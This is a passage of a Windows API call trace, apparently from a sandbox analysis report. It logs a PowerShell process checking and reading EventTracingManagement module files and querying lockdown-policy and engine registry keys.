(pdecLeft=0x843d094, pdecRight=0x843d084) returned 0x2 [0107.771] VarDecCmp (pdecLeft=0x843d0e4, pdecRight=0x843d0d4) returned 0x2 [0107.771] VarDecCmp (pdecLeft=0x843d1a4, pdecRight=0x843d194) returned 0x1 [0107.771] VarDecCmp (pdecLeft=0x843d184, pdecRight=0x843d174) returned 0x1 [0107.771] VarDecCmp (pdecLeft=0x843d0e4, pdecRight=0x843d0d4) returned 0x2 [0107.771] VarDecCmp (pdecLeft=0x843d1a4, pdecRight=0x843d194) returned 0x1 [0107.771] VarDecCmp (pdecLeft=0x843d184, pdecRight=0x843d174) returned 0x2 [0107.771] VarDecCmp (pdecLeft=0x843d1e0, pdecRight=0x843d1d0) returned 0x2 [0107.771] VarDecCmp (pdecLeft=0x843cf34, pdecRight=0x843cf24) returned 0x1 [0107.772] VarDecCmp (pdecLeft=0x843cf14, pdecRight=0x843cf04) returned 0x1 [0107.772] VarDecCmp (pdecLeft=0x843cf34, pdecRight=0x843cf24) returned 0x1 [0107.772] VarDecCmp (pdecLeft=0x843cf14, pdecRight=0x843cf04) returned 0x2 [0107.772] VarDecCmp (pdecLeft=0x843cef4, pdecRight=0x843cee4) returned 0x2 [0107.772] VarDecCmp (pdecLeft=0x843ceb4, pdecRight=0x843cea4) returned 0x2 [0107.772] VarDecCmp (pdecLeft=0x843ce74, pdecRight=0x843ce64) returned 0x1 [0107.772] VarDecCmp (pdecLeft=0x843ce54, pdecRight=0x843ce44) returned 0x1 [0107.772] VarDecCmp (pdecLeft=0x843d0e0, pdecRight=0x843d0d0) returned 0x1 [0107.772] VarDecCmp (pdecLeft=0x843d0c0, pdecRight=0x843d0b0) returned 0x1 [0107.891] VarR8FromDec (in: pdecIn=0x55dce00, pdblOut=0x843d028 | out: pdblOut=0x843d028) returned 0x0 [0107.896] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\EventTracingManagement\\MSFT_EtwTraceProvider_v1.0.cdxml", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x6b [0107.896] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\EventTracingManagement\\MSFT_EtwTraceProvider_v1.0.cdxml", nBufferLength=0x6b, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\EventTracingManagement\\MSFT_EtwTraceProvider_v1.0.cdxml", lpFilePart=0x0) returned 0x6a [0107.896] CoTaskMemAlloc (cb=0x20c) returned 0x73bea00 [0107.896] GetSystemDirectoryW (in: lpBuffer=0x73bea00, uSize=0x104 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0107.896] CoTaskMemFree (pv=0x73bea00) [0107.896] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\wldp.dll", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1d [0107.896] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\wldp.dll", nBufferLength=0x1d, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\wldp.dll", lpFilePart=0x0) returned 0x1c [0107.896] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843d2b0) returned 1 [0107.896] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\wldp.dll" (normalized: "c:\\windows\\system32\\wldp.dll"), fInfoLevelId=0x0, lpFileInformation=0x843d32c | out: lpFileInformation=0x843d32c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fa1c22f, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6fa1c22f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6fa1c22f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xe840)) returned 1 [0107.896] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843d2ac) returned 1 [0107.896] GetSystemInfo (in: lpSystemInfo=0x843d360 | out: lpSystemInfo=0x843d360*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x4501)) [0107.896] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x843d2f0 | out: phkResult=0x843d2f0*=0xa0c) returned 0x0 [0107.897] RegQueryValueExW (in: hKey=0xa0c, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x843d30c, lpData=0x0, lpcbData=0x843d308*=0x0 | out: lpType=0x843d30c*=0x0, lpData=0x0, lpcbData=0x843d308*=0x0) returned 0x2 [0107.897] RegCloseKey (hKey=0xa0c) returned 0x0 [0107.897] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\EventTracingManagement\\MSFT_EtwTraceProvider_v1.0.cdxml", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x6b [0107.897] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\EventTracingManagement\\MSFT_EtwTraceProvider_v1.0.cdxml", nBufferLength=0x6b, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\EventTracingManagement\\MSFT_EtwTraceProvider_v1.0.cdxml", lpFilePart=0x0) returned 0x6a [0107.897] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843d2dc) returned 1 [0107.897] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\EventTracingManagement\\MSFT_EtwTraceProvider_v1.0.cdxml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\eventtracingmanagement\\msft_etwtraceprovider_v1.0.cdxml"), fInfoLevelId=0x0, lpFileInformation=0x55e3568 | out: lpFileInformation=0x55e3568*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71f83d66, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x71f83d66, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x71f83d66, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x16f5)) returned 1 [0107.897] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843d2d8) returned 1 [0107.897] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\EventTracingManagement\\MSFT_EtwTraceProvider_v1.0.cdxml", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x6b [0107.897] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\EventTracingManagement\\MSFT_EtwTraceProvider_v1.0.cdxml", nBufferLength=0x6b, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\EventTracingManagement\\MSFT_EtwTraceProvider_v1.0.cdxml", lpFilePart=0x0) returned 0x6a [0107.897] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843d29c) returned 1 [0107.898] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\EventTracingManagement\\MSFT_EtwTraceProvider_v1.0.cdxml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\eventtracingmanagement\\msft_etwtraceprovider_v1.0.cdxml"), fInfoLevelId=0x0, lpFileInformation=0x843d318 | out: lpFileInformation=0x843d318*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71f83d66, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x71f83d66, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x71f83d66, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x16f5)) returned 1 [0107.898] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843d298) returned 1 [0107.898] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\EventTracingManagement\\MSFT_EtwTraceProvider_v1.0.cdxml", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x6b [0107.898] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\EventTracingManagement\\MSFT_EtwTraceProvider_v1.0.cdxml", nBufferLength=0x6b, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\EventTracingManagement\\MSFT_EtwTraceProvider_v1.0.cdxml", lpFilePart=0x0) returned 0x6a [0107.898] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\EventTracingManagement\\MSFT_EtwTraceProvider_v1.0.cdxml", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x6b [0107.898] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\EventTracingManagement\\MSFT_EtwTraceProvider_v1.0.cdxml", nBufferLength=0x6b, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\EventTracingManagement\\MSFT_EtwTraceProvider_v1.0.cdxml", lpFilePart=0x0) returned 0x6a [0107.898] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843d210) returned 1 [0107.898] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\EventTracingManagement\\MSFT_EtwTraceProvider_v1.0.cdxml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\eventtracingmanagement\\msft_etwtraceprovider_v1.0.cdxml"), fInfoLevelId=0x0, lpFileInformation=0x843d28c | out: lpFileInformation=0x843d28c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71f83d66, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x71f83d66, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x71f83d66, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x16f5)) returned 1 [0107.898] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843d20c) returned 1 [0107.898] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\EventTracingManagement\\MSFT_EtwTraceProvider_v1.0.cdxml", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x6b [0107.898] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\EventTracingManagement\\MSFT_EtwTraceProvider_v1.0.cdxml", nBufferLength=0x6b, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\EventTracingManagement\\MSFT_EtwTraceProvider_v1.0.cdxml", lpFilePart=0x0) returned 0x6a [0107.898] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843d1e4) returned 1 [0107.898] CreateFileW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\EventTracingManagement\\MSFT_EtwTraceProvider_v1.0.cdxml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\eventtracingmanagement\\msft_etwtraceprovider_v1.0.cdxml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xa0c [0107.898] GetFileType (hFile=0xa0c) returned 0x1 [0107.898] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843d1e0) returned 1 [0107.898] GetFileType (hFile=0xa0c) returned 0x1 [0107.899] WTGetSignatureInfo () returned 0x0 [0108.177] CertDuplicateCertificateContext (pCertContext=0x737ba68) returned 0x737ba68 [0108.178] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x843d248 | out: phkResult=0x843d248*=0xa10) returned 0x0 [0108.178] RegQueryValueExW (in: hKey=0xa10, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x843d268, lpData=0x0, lpcbData=0x843d264*=0x0 | out: lpType=0x843d268*=0x1, lpData=0x0, lpcbData=0x843d264*=0x56) returned 0x0 [0108.178] RegQueryValueExW (in: hKey=0xa10, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x843d268, lpData=0x55e3a90, lpcbData=0x843d264*=0x56 | out: lpType=0x843d268*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x843d264*=0x56) returned 0x0 [0108.178] RegCloseKey (hKey=0xa10) returned 0x0 [0108.178] CoTaskMemAlloc (cb=0x10) returned 0x7684e30 [0108.178] CoTaskMemAlloc (cb=0x30) returned 0x740d210 [0108.178] WinVerifyTrust () returned 0x0 [0108.180] CoTaskMemFree (pv=0x740d210) [0108.180] CoTaskMemFree (pv=0x7684e30) [0108.180] CertFreeCertificateContext (pCertContext=0x737ba68) returned 1 [0108.180] CloseHandle (hObject=0xa0c) returned 1 [0108.180] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\EventTracingManagement\\MSFT_EtwTraceProvider_v1.0.cdxml", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x6b [0108.180] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\EventTracingManagement\\MSFT_EtwTraceProvider_v1.0.cdxml", nBufferLength=0x6b, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\EventTracingManagement\\MSFT_EtwTraceProvider_v1.0.cdxml", lpFilePart=0x0) returned 0x6a [0108.180] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843d328) returned 1 [0108.180] CreateFileW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\EventTracingManagement\\MSFT_EtwTraceProvider_v1.0.cdxml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\eventtracingmanagement\\msft_etwtraceprovider_v1.0.cdxml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xa0c [0108.180] GetFileType (hFile=0xa0c) returned 0x1 [0108.180] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843d324) returned 1 [0108.180] GetFileType (hFile=0xa0c) returned 0x1 [0108.180] SetFilePointer (in: hFile=0xa0c, lDistanceToMove=0, lpDistanceToMoveHigh=0x843d364*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x843d364*=0) returned 0x0 [0108.180] ReadFile (in: hFile=0xa0c, lpBuffer=0x55e4a88, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x843d390, lpOverlapped=0x0 | out: lpBuffer=0x55e4a88*, lpNumberOfBytesRead=0x843d390*=0x1000, lpOverlapped=0x0) returned 1 [0108.180] SetFilePointer (in: hFile=0xa0c, lDistanceToMove=0, lpDistanceToMoveHigh=0x843d364*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x843d364*=0) returned 0x1000 [0108.180] ReadFile (in: hFile=0xa0c, lpBuffer=0x55e4a88, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x843d390, lpOverlapped=0x0 | out: lpBuffer=0x55e4a88*, lpNumberOfBytesRead=0x843d390*=0x6f5, lpOverlapped=0x0) returned 1 [0108.181] SetFilePointer (in: hFile=0xa0c, lDistanceToMove=0, lpDistanceToMoveHigh=0x843d364*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x843d364*=0) returned 0x16f5 [0108.181] ReadFile (in: hFile=0xa0c, lpBuffer=0x55e411d, nNumberOfBytesToRead=0x10b, lpNumberOfBytesRead=0x843d390, lpOverlapped=0x0 | out: lpBuffer=0x55e411d*, lpNumberOfBytesRead=0x843d390*=0x0, lpOverlapped=0x0) returned 1 [0108.181] SetFilePointer (in: hFile=0xa0c, lDistanceToMove=0, lpDistanceToMoveHigh=0x843d364*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x843d364*=0) returned 0x16f5 [0108.181] ReadFile (in: hFile=0xa0c, lpBuffer=0x55e4a88, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x843d390, lpOverlapped=0x0 | out: lpBuffer=0x55e4a88*, lpNumberOfBytesRead=0x843d390*=0x0, lpOverlapped=0x0) returned 1 [0108.181] CoTaskMemAlloc (cb=0x20c) returned 0x73bea00 [0108.181] GetSystemDirectoryW (in: lpBuffer=0x73bea00, uSize=0x104 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0108.181] CoTaskMemFree (pv=0x73bea00) [0108.181] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\wldp.dll", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1d [0108.181] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\wldp.dll", nBufferLength=0x1d, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\wldp.dll", lpFilePart=0x0) returned 0x1c [0108.181] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843d2c4) returned 1 [0108.181] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\wldp.dll" (normalized: "c:\\windows\\system32\\wldp.dll"), fInfoLevelId=0x0, lpFileInformation=0x843d340 | out: lpFileInformation=0x843d340*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fa1c22f, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6fa1c22f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6fa1c22f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xe840)) returned 1 [0108.181] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843d2c0) returned 1 [0108.181] GetSystemInfo (in: lpSystemInfo=0x843d374 | out: lpSystemInfo=0x843d374*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x4501)) [0108.181] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x843d304 | out: phkResult=0x843d304*=0x9e8) returned 0x0 [0108.182] RegQueryValueExW (in: hKey=0x9e8, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x843d320, lpData=0x0, lpcbData=0x843d31c*=0x0 | out: lpType=0x843d320*=0x0, lpData=0x0, lpcbData=0x843d31c*=0x0) returned 0x2 [0108.182] RegCloseKey (hKey=0x9e8) returned 0x0 [0108.182] CloseHandle (hObject=0xa0c) returned 1 [0108.184] VarR8FromDec (in: pdecIn=0x55f7a24, pdblOut=0x843d028 | out: pdblOut=0x843d028) returned 0x0 [0108.184] VarR8FromDec (in: pdecIn=0x55f9744, pdblOut=0x843d028 | out: pdblOut=0x843d028) returned 0x0 [0108.264] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\EventTracingManagement\\MSFT_AutologgerConfig_v1.0.cdxml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\eventtracingmanagement\\msft_autologgerconfig_v1.0.cdxml")) returned 0x20 [0108.265] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\EventTracingManagement\\MSFT_AutologgerConfig_v1.0.cdxml", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x6b [0108.265] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\EventTracingManagement\\MSFT_AutologgerConfig_v1.0.cdxml", nBufferLength=0x6b, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\EventTracingManagement\\MSFT_AutologgerConfig_v1.0.cdxml", lpFilePart=0x0) returned 0x6a [0108.265] CoTaskMemAlloc (cb=0x20c) returned 0x73c1748 [0108.265] GetSystemDirectoryW (in: lpBuffer=0x73c1748, uSize=0x104 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0108.265] CoTaskMemFree (pv=0x73c1748) [0108.265] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\wldp.dll", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1d [0108.265] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\wldp.dll", nBufferLength=0x1d, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\wldp.dll", lpFilePart=0x0) returned 0x1c [0108.265] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843d2b0) returned 1 [0108.265] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\wldp.dll" (normalized: "c:\\windows\\system32\\wldp.dll"), fInfoLevelId=0x0, lpFileInformation=0x843d32c | out: lpFileInformation=0x843d32c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fa1c22f, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6fa1c22f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6fa1c22f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xe840)) returned 1 [0108.266] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843d2ac) returned 1 [0108.266] GetSystemInfo (in: lpSystemInfo=0x843d360 | out: lpSystemInfo=0x843d360*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x4501)) [0108.266] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x843d2f0 | out: phkResult=0x843d2f0*=0xa0c) returned 0x0 [0108.267] RegQueryValueExW (in: hKey=0xa0c, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x843d30c, lpData=0x0, lpcbData=0x843d308*=0x0 | out: lpType=0x843d30c*=0x0, lpData=0x0, lpcbData=0x843d308*=0x0) returned 0x2 [0108.267] RegCloseKey (hKey=0xa0c) returned 0x0 [0108.267] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\EventTracingManagement\\MSFT_AutologgerConfig_v1.0.cdxml", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x6b [0108.267] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\EventTracingManagement\\MSFT_AutologgerConfig_v1.0.cdxml", nBufferLength=0x6b, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\EventTracingManagement\\MSFT_AutologgerConfig_v1.0.cdxml", lpFilePart=0x0) returned 0x6a [0108.267] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843d2dc) returned 1 [0108.267] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\EventTracingManagement\\MSFT_AutologgerConfig_v1.0.cdxml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\eventtracingmanagement\\msft_autologgerconfig_v1.0.cdxml"), fInfoLevelId=0x0, lpFileInformation=0x55fcde4 | out: lpFileInformation=0x55fcde4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71f5daff, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x71f5daff, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x71f5daff, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2353)) returned 1 [0108.267] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843d2d8) returned 1 [0108.267] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\EventTracingManagement\\MSFT_AutologgerConfig_v1.0.cdxml", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x6b [0108.267] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\EventTracingManagement\\MSFT_AutologgerConfig_v1.0.cdxml", nBufferLength=0x6b, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\EventTracingManagement\\MSFT_AutologgerConfig_v1.0.cdxml", lpFilePart=0x0) returned 0x6a [0108.267] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843d29c) returned 1 [0108.267] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\EventTracingManagement\\MSFT_AutologgerConfig_v1.0.cdxml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\eventtracingmanagement\\msft_autologgerconfig_v1.0.cdxml"), fInfoLevelId=0x0, lpFileInformation=0x843d318 | out: lpFileInformation=0x843d318*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71f5daff, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x71f5daff, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x71f5daff, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2353)) returned 1 [0108.267] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843d298) returned 1 [0108.267] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\EventTracingManagement\\MSFT_AutologgerConfig_v1.0.cdxml", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x6b [0108.267] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\EventTracingManagement\\MSFT_AutologgerConfig_v1.0.cdxml", nBufferLength=0x6b, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\EventTracingManagement\\MSFT_AutologgerConfig_v1.0.cdxml", lpFilePart=0x0) returned 0x6a [0108.267] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\EventTracingManagement\\MSFT_AutologgerConfig_v1.0.cdxml", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x6b [0108.267] GetFullPathNameW (in: 